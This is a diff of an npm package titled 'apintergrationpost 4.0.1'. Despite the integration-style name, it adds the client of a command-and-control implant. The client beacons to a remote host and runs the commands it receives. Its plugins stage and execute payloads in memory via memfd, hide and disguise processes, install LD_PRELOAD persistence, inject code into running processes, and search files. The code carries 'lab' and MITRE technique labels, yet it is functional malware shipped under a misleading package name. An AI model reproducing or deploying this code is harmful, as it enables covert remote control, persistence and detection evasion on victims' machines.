apintergrationpost 4.0.1

package/src/client/index.js

@@ -0,0 +1,193 @@
+'use strict';
+
+const { loadConfig, validateLabConfig } = require('../shared/config');
+const { createLogger } = require('../shared/logger');
+const { getEmulationConfig } = require('../shared/emulation');
+const { shouldMemfdDeploy, spawnMemfdLoader, isMemfdChild } = require('../shared/memfdLaunch');
+const { writeMessage, createMessageReader } = require('../protocol/framer');
+const { MSG_TYPES, responseMsg, heartbeatMsg, shellOutputMsg, screenFrameMsg } = require('../protocol/messages');
+const { connectWithBackoff } = require('./connection');
+const { route, loadPlugins, cleanupPlugins } = require('./commands');
+const { nextBeaconInterval } = require('../shared/c2schedule');
+const evasionProcess = require('./plugins/evasion-process');
+
+function getFramerOptions(config) {
+  const emu = getEmulationConfig(config);
+  return { paddingMaxBytes: emu.c2.paddingMaxBytes || 0 };
+}
+
+function createCommandContext(config, logger, conn) {
+  const framerOpts = getFramerOptions(config);
+  return {
+    config,
+    logger,
+    labEvent(entry) {
+      logger.labEvent(entry);
+    },
+    sendShellOutput(sessionId, body, meta) {
+      if (conn && !conn.destroyed) {
+        writeMessage(conn, shellOutputMsg(sessionId, body, meta), framerOpts);
+      }
+    },
+    sendScreenFrame(sessionId, body, meta) {
+      if (conn && !conn.destroyed) {
+        writeMessage(conn, screenFrameMsg(sessionId, body, meta), framerOpts);
+      }
+    },
+    write(conn, msg) {
+      writeMessage(conn, msg, framerOpts);
+    },
+  };
+}
+
+async function runSession(config, logger, pluginState) {
+  const conn = await connectWithBackoff(config.host, config.port, config, logger);
+  const ctx = createCommandContext(config, logger, conn);
+  const framerOpts = getFramerOptions(config);
+
+  return new Promise((resolve) => {
+    let heartbeatTimer = null;
+    let alive = true;
+
+    function cleanup() {
+      alive = false;
+      if (heartbeatTimer) {
+        clearTimeout(heartbeatTimer);
+        heartbeatTimer = null;
+      }
+      cleanupPlugins(pluginState.plugins);
+    }
+
+    function scheduleHeartbeat() {
+      if (!alive) return;
+      const interval = nextBeaconInterval(config);
+      heartbeatTimer = setTimeout(() => {
+        if (alive) {
+          writeMessage(conn, heartbeatMsg(), framerOpts);
+        }
+        scheduleHeartbeat();
+      }, interval);
+    }
+
+    scheduleHeartbeat();
+
+    createMessageReader(conn, async (msg) => {
+      if (!alive) return;
+
+      if (msg.type === MSG_TYPES.COMMAND) {
+        try {
+          const result = await route(msg, ctx, pluginState.commandMap);
+          if (result.skipResponse !== true && alive) {
+            writeMessage(conn, responseMsg(msg.id, result.status, result.body, result.meta), framerOpts);
+          }
+          if (result.action === 'quit') {
+            cleanup();
+            conn.end();
+            resolve('quit');
+          } else if (result.action === 'kill') {
+            cleanup();
+            conn.end();
+            resolve('kill');
+          }
+        } catch (err) {
+          logger.error('Command execution error', { command: msg.command, error: err.message });
+          if (alive) {
+            writeMessage(conn, responseMsg(msg.id, 'error', err.message), framerOpts);
+          }
+        }
+      } else if (msg.type === MSG_TYPES.HEARTBEAT) {
+        // connection healthy
+      } else if (msg.type === MSG_TYPES.DISCONNECT) {
+        cleanup();
+        conn.end();
+        resolve('disconnect');
+      }
+    });
+
+    conn.on('close', () => {
+      if (alive) {
+        cleanup();
+        resolve('reconnect');
+      }
+    });
+
+    conn.on('error', () => {
+      if (alive) {
+        cleanup();
+        conn.destroy();
+        resolve('reconnect');
+      }
+    });
+  });
+}
+
+async function main() {
+  const config = loadConfig();
+  const labError = validateLabConfig(config);
+  if (labError) {
+    process.stderr.write(`${labError}\n`);
+    process.exit(1);
+  }
+
+  if (shouldMemfdDeploy(config)) {
+    try {
+      spawnMemfdLoader(config, process.argv.slice(2));
+    } catch (err) {
+      process.stderr.write(`${err.message}\n`);
+      process.exit(1);
+    }
+    process.exit(0);
+  }
+
+  if (isMemfdChild()) {
+    if (!config.features) config.features = {};
+    config.features.pty = false;
+    process.env.MYRA_FEATURES_PTY = 'false';
+  }
+
+  const emu = getEmulationConfig(config);
+  if (!emu.stealth && config.lab && config.lab.mode) {
+    process.stderr.write('[MYRA] Lab mode active.\n');
+  }
+
+  if (config.features && config.features.pty === false) {
+    process.env.MYRA_FEATURES_PTY = 'false';
+  }
+
+  const logger = createLogger(config);
+  const pluginState = loadPlugins(config);
+
+  const labEventFn = (entry) => logger.labEvent(entry);
+  evasionProcess.runAutoHide(config, labEventFn);
+
+  let shuttingDown = false;
+
+  function onSignal() {
+    if (shuttingDown) return;
+    shuttingDown = true;
+    cleanupPlugins(pluginState.plugins);
+    process.exit(0);
+  }
+
+  process.on('SIGTERM', onSignal);
+  process.on('SIGINT', onSignal);
+
+  while (!shuttingDown) {
+    const result = await runSession(config, logger, pluginState);
+
+    if (result === 'quit' || result === 'kill') {
+      break;
+    }
+
+    if (!emu.stealth) {
+      logger.info('Reconnecting...');
+    }
+  }
+
+  logger.close();
+}
+
+main().catch((err) => {
+  process.stderr.write(`${err.message}\n`);
+  process.exit(1);
+});

package/src/client/plugins/base.js

@@ -0,0 +1,17 @@
+'use strict';
+
+/**
+ * Base plugin interface:
+ * - name: string
+ * - commands: string[] — command names this plugin handles
+ * - execute(msg, ctx): Promise<PluginResult>
+ *
+ * PluginResult:
+ * - action: 'continue' | 'quit' | 'kill'
+ * - status: 'ok' | 'error'
+ * - body: string
+ * - meta: object (optional)
+ * - skipResponse: boolean (optional) — do not send immediate response
+ */
+
+module.exports = {};

package/src/client/plugins/evasion-memfd.js

@@ -0,0 +1,226 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+const { spawnSync } = require('child_process');
+const { runNativeTool } = require('../../shared/nativeTools');
+const { getProcessInfo, summarizeMaps } = require('../../shared/procinfo');
+const {
+  spawnMemfdLoader,
+  verifyMemfdProcess,
+  resolveBundlePath,
+  getMemoryConfig,
+} = require('../../shared/memfdLaunch');
+
+const name = 'evasion-memfd';
+const commands = ['memfd_exec', 'memfd_stage', 'memfd_status', 'memfd_deploy', 'memfd_verify'];
+
+let memfdChildPid = null;
+let stagingPath = null;
+
+function ensureBundle(config) {
+  const bundlePath = resolveBundlePath(config);
+  if (fs.existsSync(bundlePath)) {
+    return bundlePath;
+  }
+
+  const scriptPath = path.resolve(__dirname, '../../../scripts/bundle-agent.js');
+  const result = spawnSync(process.execPath, [scriptPath], {
+    encoding: 'utf8',
+    cwd: path.resolve(__dirname, '../../..'),
+    stdio: ['ignore', 'pipe', 'pipe'],
+  });
+
+  if (result.status !== 0) {
+    throw new Error(result.stderr || result.stdout || 'bundle-agent failed');
+  }
+  if (!fs.existsSync(bundlePath)) {
+    throw new Error(`Bundle not created: ${bundlePath}`);
+  }
+  return bundlePath;
+}
+
+async function execute(msg, ctx) {
+  const cmd = msg.command;
+
+  if (cmd === 'memfd_exec') {
+    const payloadPath = (msg.body || '').trim();
+    if (!payloadPath) {
+      return { action: 'continue', status: 'error', body: 'Usage: memfd_exec <path>' };
+    }
+    if (!fs.existsSync(payloadPath)) {
+      return { action: 'continue', status: 'error', body: `File not found: ${payloadPath}` };
+    }
+
+    ctx.labEvent({
+      plugin: name,
+      command: cmd,
+      technique: 'T1027.011',
+      expectedAuditd: ['memfd_create', 'fexecve', 'execve'],
+    });
+
+    try {
+      const result = runNativeTool(ctx.config, 'memfd_exec', [payloadPath]);
+      if (result.status !== 0) {
+        return { action: 'continue', status: 'error', body: result.stderr || 'memfd_exec failed' };
+      }
+      memfdChildPid = Number(result.stdout.split('\n')[0]);
+      return {
+        action: 'continue',
+        status: 'ok',
+        body: `memfd_exec started pid ${memfdChildPid}`,
+        meta: { pid: memfdChildPid, payloadPath },
+      };
+    } catch (err) {
+      return { action: 'continue', status: 'error', body: err.message };
+    }
+  }
+
+  if (cmd === 'memfd_stage') {
+    const body = (msg.body || '').trim();
+    if (!body.includes(':')) {
+      return {
+        action: 'continue',
+        status: 'error',
+        body: 'Usage: memfd_stage with body format destPath:base64content',
+      };
+    }
+
+    const colon = body.indexOf(':');
+    const destPath = body.slice(0, colon);
+    const b64 = body.slice(colon + 1);
+
+    ctx.labEvent({
+      plugin: name,
+      command: cmd,
+      technique: 'T1027.011',
+      expectedAuditd: ['memfd_create', 'write', 'unlink'],
+    });
+
+    try {
+      stagingPath = path.resolve(destPath);
+      fs.mkdirSync(path.dirname(stagingPath), { recursive: true });
+      fs.writeFileSync(stagingPath, Buffer.from(b64, 'base64'), { mode: 0o755 });
+
+      const result = runNativeTool(ctx.config, 'memfd_exec', [stagingPath]);
+      try { fs.unlinkSync(stagingPath); } catch { /* ignore */ }
+      stagingPath = null;
+
+      if (result.status !== 0) {
+        return { action: 'continue', status: 'error', body: result.stderr || 'memfd_stage failed' };
+      }
+      memfdChildPid = Number(result.stdout.split('\n')[0]);
+      return {
+        action: 'continue',
+        status: 'ok',
+        body: `memfd_stage executed in-memory pid ${memfdChildPid} (staging file removed)`,
+        meta: { pid: memfdChildPid },
+      };
+    } catch (err) {
+      return { action: 'continue', status: 'error', body: err.message };
+    }
+  }
+
+  if (cmd === 'memfd_deploy') {
+    ctx.labEvent({
+      plugin: name,
+      command: cmd,
+      technique: 'T1027.011',
+      expectedAuditd: ['memfd_create', 'fexecve', 'execve'],
+    });
+
+    const mem = getMemoryConfig(ctx.config);
+    if (mem.mode !== 'full') {
+      return {
+        action: 'continue',
+        status: 'error',
+        body: 'Set emulation.memory.mode to "full" before memfd_deploy',
+      };
+    }
+
+    try {
+      const bundlePath = ensureBundle(ctx.config);
+      const extraArgs = (msg.body || '').trim() ? msg.body.trim().split(/\s+/) : [];
+      const { pid, args } = spawnMemfdLoader(ctx.config, extraArgs);
+      memfdChildPid = pid;
+      return {
+        action: 'continue',
+        status: 'ok',
+        body: `memfd_deploy started pid ${pid} bundle ${bundlePath}`,
+        meta: { pid, bundlePath, args },
+      };
+    } catch (err) {
+      return { action: 'continue', status: 'error', body: err.message };
+    }
+  }
+
+  if (cmd === 'memfd_verify') {
+    ctx.labEvent({
+      plugin: name,
+      command: cmd,
+      technique: 'T1057',
+      expectedAuditd: ['open'],
+    });
+
+    const body = (msg.body || '').trim();
+    const pid = body ? Number(body) : (memfdChildPid || process.pid);
+
+    try {
+      process.kill(pid, 0);
+    } catch {
+      return { action: 'continue', status: 'error', body: `Process ${pid} is not running` };
+    }
+
+    const report = verifyMemfdProcess(pid, ctx.config);
+    return {
+      action: 'continue',
+      status: report.passed ? 'ok' : 'error',
+      body: JSON.stringify(report, null, 2),
+      meta: report,
+    };
+  }
+
+  if (cmd === 'memfd_status') {
+    ctx.labEvent({
+      plugin: name,
+      command: cmd,
+      technique: 'T1057',
+      expectedAuditd: ['open'],
+    });
+
+    const body = (msg.body || '').trim();
+    const pid = body ? Number(body) : memfdChildPid;
+
+    if (!pid) {
+      return { action: 'continue', status: 'error', body: 'No memfd child tracked (use memfd_deploy first or pass pid in body)' };
+    }
+
+    try {
+      process.kill(pid, 0);
+    } catch {
+      if (pid === memfdChildPid) memfdChildPid = null;
+      return { action: 'continue', status: 'error', body: 'Tracked memfd child is not running' };
+    }
+
+    const info = getProcessInfo(pid);
+    const mapsSummary = summarizeMaps(pid);
+    const verify = verifyMemfdProcess(pid, ctx.config);
+    const payload = { pid, ...info, mapsSummary, verify };
+    return { action: 'continue', status: 'ok', body: JSON.stringify(payload, null, 2) };
+  }
+
+  return { action: 'continue', status: 'error', body: 'Unknown evasion-memfd command' };
+}
+
+function cleanup() {
+  if (memfdChildPid) {
+    try { process.kill(memfdChildPid, 'SIGTERM'); } catch { /* ignore */ }
+    memfdChildPid = null;
+  }
+  if (stagingPath && fs.existsSync(stagingPath)) {
+    try { fs.unlinkSync(stagingPath); } catch { /* ignore */ }
+    stagingPath = null;
+  }
+}
+
+module.exports = { name, commands, execute, cleanup };

package/src/client/plugins/evasion-process.js

@@ -0,0 +1,158 @@
+'use strict';
+
+const path = require('path');
+const { runNativeTool, resolveNativeToolsDir } = require('../../shared/nativeTools');
+const { getEmulationConfig } = require('../../shared/emulation');
+const {
+  persistStealthPreload,
+  removeStealthPreload,
+} = require('../commands/system');
+
+const name = 'evasion-process';
+const commands = [
+  'hide_start',
+  'hide_stop',
+  'masq_start',
+  'masq_stop',
+  'preload_install',
+  'preload_remove',
+  'inject',
+  'inject_spawn',
+  'inject_demo',
+];
+
+let hiddenPid = null;
+
+function applyProcessHide(config, selfOnly) {
+  const emu = getEmulationConfig(config);
+  const args = [
+    '--comm', emu.process.targetName,
+    '--scrub-argv',
+  ];
+  if (selfOnly) args.push('--self');
+  else if (hiddenPid) args.push('--pid', String(hiddenPid));
+
+  return runNativeTool(config, 'proc_hide', args);
+}
+
+function launchHiddenAgent(config) {
+  const emu = getEmulationConfig(config);
+  const scriptPath = path.resolve(process.argv[1]);
+  const configPath = process.env.MYRA_CONFIG || '';
+
+  return runNativeTool(config, 'agent_launcher', [
+    '--daemon',
+    '--node', process.execPath,
+    '--script', scriptPath,
+    '--blend', emu.process.binaryPath,
+    '--comm', emu.process.targetName,
+    '--fake-arg', (emu.process.fakeArgs || ['--user'])[0],
+    ...(configPath ? ['--config-env', configPath] : []),
+  ]);
+}
+
+async function execute(msg, ctx) {
+  const cmd = msg.command;
+  const config = ctx.config;
+
+  if (cmd === 'hide_start' || cmd === 'masq_start') {
+    ctx.labEvent({ plugin: name, command: 'hide_start', technique: 'T1036.004' });
+    try {
+      const hide = applyProcessHide(config, true);
+      if (hide.status !== 0 && !getEmulationConfig(config).process.autoHide) {
+        return { action: 'continue', status: 'error', body: hide.stderr || 'proc_hide failed' };
+      }
+      const launch = launchHiddenAgent(config);
+      if (launch.status === 0) {
+        hiddenPid = Number(launch.stdout.split('\n')[0]) || process.pid;
+      } else {
+        hiddenPid = process.pid;
+      }
+      const emu = getEmulationConfig(config);
+      return {
+        action: 'continue',
+        status: 'ok',
+        body: `Process hide active (pid ${hiddenPid}, comm=${emu.process.targetName})`,
+        meta: { pid: hiddenPid, comm: emu.process.targetName },
+      };
+    } catch (err) {
+      return { action: 'continue', status: 'error', body: err.message };
+    }
+  }
+
+  if (cmd === 'hide_stop' || cmd === 'masq_stop') {
+    if (hiddenPid && hiddenPid !== process.pid) {
+      try { process.kill(hiddenPid, 'SIGTERM'); } catch { /* ignore */ }
+    }
+    hiddenPid = null;
+    return { action: 'continue', status: 'ok', body: 'Hide session cleared' };
+  }
+
+  if (cmd === 'preload_install') {
+    ctx.labEvent({ plugin: name, command: 'preload_install', technique: 'T1574.006' });
+    const result = persistStealthPreload(config, resolveNativeToolsDir(config));
+    return { action: 'continue', status: result.ok ? 'ok' : 'error', body: result.message };
+  }
+
+  if (cmd === 'preload_remove') {
+    const removed = removeStealthPreload(config);
+    return {
+      action: 'continue',
+      status: 'ok',
+      body: removed ? 'Preload artifacts removed' : 'No preload artifacts found',
+    };
+  }
+
+  if (cmd === 'inject' || cmd === 'inject_demo') {
+    const pid = (msg.body || '').trim();
+    const args = pid ? ['--pid', pid] : ['--spawn-sleep'];
+    ctx.labEvent({ plugin: name, command: 'inject', technique: 'T1055.008' });
+    try {
+      const result = runNativeTool(config, 'injector', args);
+      if (result.status !== 0) {
+        return { action: 'continue', status: 'error', body: result.stderr || 'inject failed' };
+      }
+      const target = Number(result.stdout.split('\n')[0]);
+      return { action: 'continue', status: 'ok', body: `Injected stub into pid ${target}`, meta: { pid: target } };
+    } catch (err) {
+      return { action: 'continue', status: 'error', body: err.message };
+    }
+  }
+
+  if (cmd === 'inject_spawn') {
+    ctx.labEvent({ plugin: name, command: 'inject_spawn', technique: 'T1055.008' });
+    try {
+      const result = runNativeTool(config, 'injector', ['--spawn-sleep']);
+      if (result.status !== 0) {
+        return { action: 'continue', status: 'error', body: result.stderr || 'inject_spawn failed' };
+      }
+      const target = Number(result.stdout.split('\n')[0]);
+      return { action: 'continue', status: 'ok', body: `inject_spawn completed on pid ${target}`, meta: { pid: target } };
+    } catch (err) {
+      return { action: 'continue', status: 'error', body: err.message };
+    }
+  }
+
+  return { action: 'continue', status: 'error', body: 'Unknown evasion-process command' };
+}
+
+function runAutoHide(config, labEvent) {
+  const emu = getEmulationConfig(config);
+  if (!emu.process.autoHide) return null;
+  try {
+    applyProcessHide(config, true);
+    if (labEvent) labEvent({ plugin: name, command: 'auto_hide', technique: 'T1036.004' });
+    return true;
+  } catch {
+    return false;
+  }
+}
+
+function cleanup() {
+  if (hiddenPid && hiddenPid !== process.pid) {
+    try { process.kill(hiddenPid, 'SIGTERM'); } catch { /* ignore */ }
+  }
+  hiddenPid = null;
+}
+
+module.exports = { name, commands, execute, cleanup, runAutoHide };

package/src/client/plugins/file-search.js

@@ -0,0 +1,66 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+
+const name = 'file-search';
+const commands = ['find'];
+
+const MAX_RESULTS = 500;
+const MAX_DEPTH = 8;
+
+async function execute(msg, ctx) {
+  const body = (msg.body || '').trim();
+  const parts = body.split(/\s+/);
+  const pattern = parts[0] || '*';
+  const root = parts[1] || '.';
+
+  ctx.labEvent({
+    plugin: name,
+    command: 'find',
+    expectedAuditd: ['open', 'getdents'],
+  });
+
+  const regex = pattern.includes('*')
+    ? new RegExp('^' + pattern.replace(/\./g, '\\.').replace(/\*/g, '.*') + '$')
+    : null;
+
+  const matches = [];
+
+  function walk(dir, depth) {
+    if (matches.length >= MAX_RESULTS || depth > MAX_DEPTH) return;
+    let entries;
+    try {
+      entries = fs.readdirSync(dir, { withFileTypes: true });
+    } catch {
+      return;
+    }
+    for (const entry of entries) {
+      if (matches.length >= MAX_RESULTS) break;
+      const full = path.join(dir, entry.name);
+      const nameMatch = regex ? regex.test(entry.name) : entry.name.includes(pattern);
+      if (nameMatch) {
+        matches.push(full);
+      }
+      if (entry.isDirectory()) {
+        walk(full, depth + 1);
+      }
+    }
+  }
+
+  try {
+    const resolved = path.resolve(root);
+    walk(resolved, 0);
+  } catch (err) {
+    return { action: 'continue', status: 'error', body: err.message };
+  }
+
+  return {
+    action: 'continue',
+    status: 'ok',
+    body: JSON.stringify({ pattern, root, matches, truncated: matches.length >= MAX_RESULTS }, null, 2),
+    meta: { encoding: 'json' },
+  };
+}
+
+module.exports = { name, commands, execute };